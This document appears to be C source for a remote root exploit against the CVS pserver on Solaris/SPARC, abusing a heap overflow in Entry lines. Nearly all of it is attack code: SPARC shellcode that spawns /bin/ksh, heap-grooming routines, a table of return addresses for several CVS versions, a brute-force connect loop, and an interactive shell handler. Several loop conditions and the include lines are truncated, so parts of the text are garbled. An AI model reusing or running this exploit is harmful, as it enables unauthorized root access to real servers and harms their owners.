CVS Remote Entry Line Heap Overflow Root Exploit (Solaris Ver.)
|
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define CVS_PORT 2401
#define RET 0xffbffd20
#define NOP 0x82102017
#define ROUND(s) if (s % word_size) s += (word_size - (s % word_size))
unsigned char *root;
unsigned char *user;
unsigned char *pass;
unsigned char *scrambled;
unsigned char *reposit;
unsigned char *directory;
unsigned char buf[512];
unsigned char *host;
unsigned int rport, port;
unsigned int target;
z_stream zout;
z_stream zin;
unsigned char zbuf[65536 * 4];
unsigned int zbufpos, zsent = 0;
unsigned int word_size = 8, fill_size;
unsigned int len1, len2, len3;
unsigned int oflip, change, retaddr;
char entry1[64], entry2[64], entry3[64];
struct expl {
char *name;
unsigned int retadd;
} serve[] = {
{ "cvs-1.11.1p1 - Solaris9 / SPARC", 0xd4cc8},
{ "cvs-1.12.2 - Solaris9 / SPARC", 0xd7ae8 + 8192},
{ "cvs-1.9.28 - Solaris 9 / SPARC", 0xd25b8},
{ "Crash server", 0x41414141},
{ "Crash server 2", 0x77777777},
{ "Stack ret test", 0xffbffd20},
{ "Heap ret test", 0x00031337},
{ NULL, 0}
};
char shellcode[]=
"\x21\x18\xd8\x58" // sethi %hi(0x63616000), %l0
"\xa0\x14\x23\x61" // or %l0, 0x361, %l0
"\x90\x10\x20\x01" // mov 1, %o0
"\x92\x0b\x80\x0e" // and %sp, %sp, %o1
"\x94\x10\x20\x04" // mov 4, %o2
"\x82\x10\x20\x04" // mov 4, %g1
"\x91\xd0\x20\x08" // ta 8
/* lsd shellcode. */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
char *scramble(char * str);
void handler(int sig)
{
signal(SIGPIPE, handler);
}
/*
* This function reads from socket s until either max bytes are read,
* a newline is read, or timeout seconds elapse with no data over the
* socket.
* return values:
* -2: timeout
* -1: error
* 0: connection closed
* x: normal success, x bytes read
*/
int timeout_read(int s, char *buf, int max, int timeout)
{
int total = 0;
int r = 0;
int s_flags;
char c;
struct timeval to;
fd_set rset;
memset(&to, '\0', sizeof(to));
to.tv_sec = timeout;
to.tv_usec = 0;
s_flags = fcntl(s, F_GETFL, 0);
fcntl(s, F_SETFL, s_flags | O_NONBLOCK);
while(total
{
FD_ZERO(&rset);
FD_SET(s, &rset);
select(s + 1, &rset, NULL, NULL, &to);
if (FD_ISSET(s, &rset))
{
r = read(s, &c, 1);
total += r;
if(r == -1)
{
if (errno != EWOULDBLOCK)
{
fcntl(s, F_SETFL, s_flags);
return -1;
}
else
continue;
}
else if(r == 0)
{
fcntl(s, F_SETFL, s_flags);
return 0;
}
else /* r == 1 */
{
buf[total-1] = c;
if(c == '\n')
break;
}
}
else
{
fcntl(s, F_SETFL, s_flags);
return -2;
}
}
fcntl(s, F_SETFL, s_flags);
return total;
}
void zflush(int sockfd)
{
static char outbuf[65536];
zout.next_in = zbuf;
zout.avail_in = zbufpos;
do {
zout.next_out = outbuf;
zout.avail_out = sizeof(outbuf);
if(deflate(&zout, Z_PARTIAL_FLUSH) == -1)
{
printf("[--] Compression error.\n");
exit(1);
}
zsent += sizeof(outbuf) - zout.avail_out;
write(sockfd, outbuf, sizeof(outbuf) - zout.avail_out);
} while (zout.avail_in != 0);
zbufpos = 0;
return;
}
int zwrite(char *buf, int len, int sockfd)
{
if ((sizeof(zbuf) - zbufpos)
zflush(sockfd);
memcpy(zbuf + zbufpos, buf, len);
zbufpos += len;
if (zbufpos >= sizeof(zbuf))
{
printf("[--] zwrite compression error.\n");
exit(1);
}
return (len);
}
int zgetch(int sockfd)
{
static char * outbuf = NULL;
static int outpos = 0, outlen = 0;
static char rcvbuf[32768];
static char dbuf[4096];
int got;
retry:
if (outpos
return outbuf[outpos++];
free(outbuf);
outlen = 0;
outbuf = NULL;
got = read(sockfd, rcvbuf, sizeof(rcvbuf));
if (got
{
printf("[--] Socket error.\n");
exit(1);
}
zin.next_in = rcvbuf;
zin.avail_in = got;
while (1)
{
int status, dlen;
zin.next_out = dbuf;
zin.avail_out = sizeof(dbuf);
status = inflate(&zin, Z_PARTIAL_FLUSH);
switch (status)
{
case Z_OK:
outpos = 0;
dlen = sizeof(dbuf) - zin.avail_out;
outlen += dlen;
outbuf = realloc(outbuf, outlen);
memcpy(outbuf + outlen - dlen, dbuf, dlen);
break;
case Z_BUF_ERROR:
goto retry;
default:
printf("[--] Revc inflate error.\n");
}
}
}
char *zgets(int sockfd)
{
static char buf[32768];
char * p = buf;
int c;
while (1)
{
c = zgetch(sockfd);
if (c == '\n')
break;
*p++ = c;
if (p > buf + sizeof(buf))
{
p--;
break;
}
}
*p = 0;
return (buf);
}
int do_compression(int s)
{
char buf[3000];
int term = 0, i = 0;
deflateInit(&zout, 1);
inflateInit(&zin);
memset(buf, 0x0, 300);
sprintf(buf, "Gzip-stream 1\n");
write(s, buf, strlen(buf));
}
int do_auth(int s)
{
char* str = malloc(50000);
if(str == 0)
{
perror("malloc");
exit(1);
}
strcpy(str, "BEGIN AUTH REQUEST");
strncat(str, "\n", 1);
strncat(str, reposit, strlen(reposit));
strncat(str, "\n", 1);
strncat(str, user, strlen(user));
strncat(str, "\n", 1);
scrambled = scramble(pass);
strncat(str, scrambled, strlen(scrambled));
strncat(str, "\n", 1);
strncat(str, "END AUTH REQUEST", 16);
strncat(str, "\n", 1);
write(s, str, strlen(str));
free(str);
return 0;
}
int do_root(int s)
{
char* str = malloc(5000);
bzero(str, 5000);
strncat(str, "Root ", 5);
strncat(str, root, strlen(root));
strncat(str, "\n", 1);
write(s, str, strlen(str));
free(str);
return 0;
}
int do_sized_entry(int s, char *e1, char *e2, int size)
{
char *str = malloc(size * 2);
char *tmp = malloc(size);
int x = 0;
int term = 0;
if(str == 0 || tmp == 0 || size
{
return;
}
bzero(str, size*2);
bzero(tmp, size);
sprintf(tmp, "Entry /%s/%s/", e1, e2);
strcat(str, tmp);
term = strlen(str);
x = term;
while(x
str[x++] = 0xff;
strcat(str, "\n");
str[term] = 0;
write(s, str, size);
free(str);
return(0);
}
int normalize_heap(int sockfd)
{
int i;
char buff[8192 + 128];
memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
buff[72] = 0;
for( i = 0 ; i
{
write(sockfd, buff, 8191);
}
memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
buff[65] = 0;
for(i = 0 ; i
{
write(sockfd, buff, 8191);
}
memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
buff[44] = 0;
for(i = 0 ; i
{
write(sockfd, buff, 8191);
}
memset(buff, 0x0, 8192 + 128);
memset(buff, 0xff, 8193);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
write(sockfd, buff, 8194);
}
int correctly_fill_hole(int sockfd, int fill)
{
int chunk_size, chunk_size2;
int num_chunks;
int leftover, i = 0;
char buf[256];
char pad[1024];
char buff[2048];
unsigned long addr = RET;
char addrbuf[4096];
chunk_size = (1024 + word_size);
num_chunks = (fill / chunk_size);
leftover = (fill % chunk_size);
memset(pad, 0x0, 1024);
memset(pad, 0x88, ((1024 - 8) / 2));
memset(buff, 0x0, 2048);
/* The exploit will almost certainly fail if leftover == 0
* however in theory this should never actually happen.
*/
if(leftover == 0)
{
for(i = 0; i 0; i++)
{
do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
fill -= (1024 + word_size);
}
}
else
{
for(i = 0; i 0; i++)
{
do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
fill -= (1024 + word_size);
}
chunk_size2 = (chunk_size * 2 + leftover);
ROUND(chunk_size2);
memset(buff, 0x0, 2048);
memset(buff, 0xff, (chunk_size2 - 8) / 2);
memset(addrbuf, 0x0, sizeof(addrbuf));
for(i = 0 ; i
*(int *)&addrbuf[i] = htonl(RET);
memcpy(buff+1, addrbuf, strlen(addrbuf));
do_sized_entry(sockfd, buff, buff, 4096);
}
memset(buff, 0x0, 2048);
memset(buff, 0xff, 34);
memset(addrbuf, 0x0, sizeof(addrbuf));
for(i = 0; i
*(int *)&addrbuf[i] = htonl(RET);
memcpy(buff+7, addrbuf, strlen(addrbuf));
do_sized_entry(sockfd, buff, buff, 97);
}
int do_ismodified(int s, char *e1)
{
char *str = (char *) malloc(100000);
int x = 0, term = 0;
bzero(str, 100000);
sprintf(str,"Is-modified %s\n", e1);
zwrite(str, strlen(str), s);
zflush(s);
free(str);
return 0;
}
int do_argument(int sockfd)
{
char *exp;
exp = (char *) malloc(20000);
memset(exp, 0x0, 20000);
memset(exp, 0x69, 19680 + strlen("Argument "));
memcpy(exp, "Argument ", strlen("Argument "));
exp[19680 + strlen("Argument ")] = '\n';
write(sockfd, exp, strlen(exp));
return(0);
}
int do_resize(int sockfd)
{
char buffer[256];
int x = 0;
memset(buffer, 0x0, 256);
memset(buffer, 0xff, 255);
buffer[254] = '\n';
memcpy(buffer, "Argumentx ", strlen("Argumentx "));
buffer[74 + 44] = 0;
zwrite(buffer, 255, sockfd);
zflush(sockfd);
}
int do_overflow(int sockfd)
{
char buffer[20000];
int i = 0;
memset(buffer, 0x0, 20000);
memset(buffer, 0x42, 19782);
for(i = 0 ; i
*(unsigned int *)&buffer[i] = htonl(retaddr);
for(i = 0; i
*(unsigned int *)&buffer[i] = htonl(NOP);
memcpy(buffer+19000, shellcode, strlen(shellcode));
memcpy(buffer, "Argument ", strlen("Argument "));
buffer[19781] = '\012';
zwrite(buffer, 19782, sockfd);
zflush(sockfd);
}
int work_around_zlib_bug(int sockfd)
{
char buffer[4096];
char data[64];
memset(data, 0x0, 64);
memset(data, 0x42, 32);
memset(buffer, 0x0, 4096);
memset(buffer, 0x42, 4000);
sprintf(buffer, "Entry /%s/%s/", data, data);
buffer[2999] = '\n';
zwrite(buffer, 3000, sockfd);
zflush(sockfd);
}
unsigned char auth_shifts[] ={
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };
char *scramble(char * str)
{
int i;
char * s;
s = (char *) malloc (strlen (str) + 3);
memset(s, '\0', strlen(str) + 3);
*s = 'A';
for (i = 1; str[i - 1]; i++)
s[i] = auth_shifts[(unsigned char)(str[i - 1])];
return (s);
}
int usage(char *name)
{
printf("usage: %s [options]\n", name);
printf("Options:\n");
printf(" -t Desired target\n");
printf(" -r CVS root\n");
printf(" -u CVS user\n");
printf(" -p Password\n");
printf(" -h Targeted host\n");
printf(" -P Port running CVS\n");
printf("\nAvailable targets:\n");
for (target = 0; serve[target].name != NULL; target++)
printf("[%i] - %s\n", target, serve[target].name);
exit(0);
}
int do_shell(int sockfd)
{
while(1)
{
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sockfd,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
{
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds))
{
if((cnt=read(0,buf,1024))
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(sockfd,buf,cnt);
}
if(FD_ISSET(sockfd,&fds))
{
if((cnt=read(sockfd,buf,1024))
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(1,buf,cnt);
}
}
}
}
int main(int argc, char *argv[])
{
int i, sockfd, len, result,x;
char c;
struct sockaddr_in addr;
struct hostent *hostinfo;
if(argc == 1)
{
usage(argv[0]);
}
port = CVS_PORT;
while((c = getopt(argc, argv, "t:r:u:d:p:h:")) != EOF)
{
switch(c)
{
case 't':
target = atoi(optarg);
break;
case 'r':
root = strdup(optarg);
reposit = strdup(optarg);
break;
case 'u':
user = strdup(optarg);
break;
case 'd':
directory = strdup(optarg);
break;
case 'p':
pass = strdup(optarg);
break;
case 'h':
host = strdup(optarg);
break;
default:
usage(argv[0]);
}
}
hostinfo = gethostbyname(host);
if(!hostinfo)
{
perror("gethostbyname()");
exit(0);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = *(struct in_addr *)*hostinfo -> h_addr_list;
len = sizeof(addr);
printf("Attacking %s running %s\n", host, serve[target].name);
printf("[");
fflush(stdout);
retaddr = serve[target].retadd;
while(1)
{
sockfd = socket(AF_INET, SOCK_STREAM, 0);
result = connect(sockfd, (struct sockaddr *)&addr, len);
if(result == -1)
{
perror("connect()");
exit(0);
}
do_auth(sockfd);
timeout_read(sockfd, buf, sizeof(buf)-1, 3);
do_root(sockfd);
normalize_heap(sockfd);
do_argument(sockfd);
fill_size = 19680;
memset(entry1, 0x41, 60);
memset(entry2, 0x42, 60);
memset(entry3, 0x43, 60);
do_sized_entry(sockfd, entry1, entry1, fill_size - (128+word_size) );
fill_size -= (128 + word_size);
do_sized_entry(sockfd, entry2, entry2, fill_size - (128+word_size) );
fill_size -= (128 + word_size);
do_sized_entry(sockfd, entry3, entry3, fill_size - (128+word_size) );
fill_size -= (128 + word_size);
correctly_fill_hole(sockfd, fill_size - (64 + word_size));
do_compression(sockfd);
len1 = ( 5 + 4 + 16);
len2 = ( 144 + 8 + 5 + 1);
len3 = ( 144 + 8 + 128 + 8 + 5 + 0);
for(i = 0; i
do_ismodified(sockfd, entry1);
for(i = 0; i
do_ismodified(sockfd, entry2);
for(i = 0; i
do_ismodified(sockfd, entry3);
work_around_zlib_bug(sockfd);
do_resize(sockfd);
do_overflow(sockfd);
printf(".");
fflush(stdout);
while(1)
{
result = timeout_read(sockfd, buf, 4, 5);
if(result == -1 || result == 0)
{
break;
}
if(result == -2)
{
printf("\n Timeout... trying for shell\n");
do_shell(sockfd);
break;
}
/* Maybe use strstr and a larger read buffer here ? */
if(strncmp(buf, "caca", 4) == 0)
{
printf("]\n");
printf("[+] 0wned!@ With retaddr = 0x%x\n", retaddr);
do_shell(sockfd);
exit(0);
}
}
change += 12000;
if(oflip == 0)
{
retaddr = serve[target].retadd + change;
oflip = 1;
}
else if(oflip == 1)
{
retaddr = serve[target].retadd - change;
oflip = 0;
}
close(sockfd);
}
}
|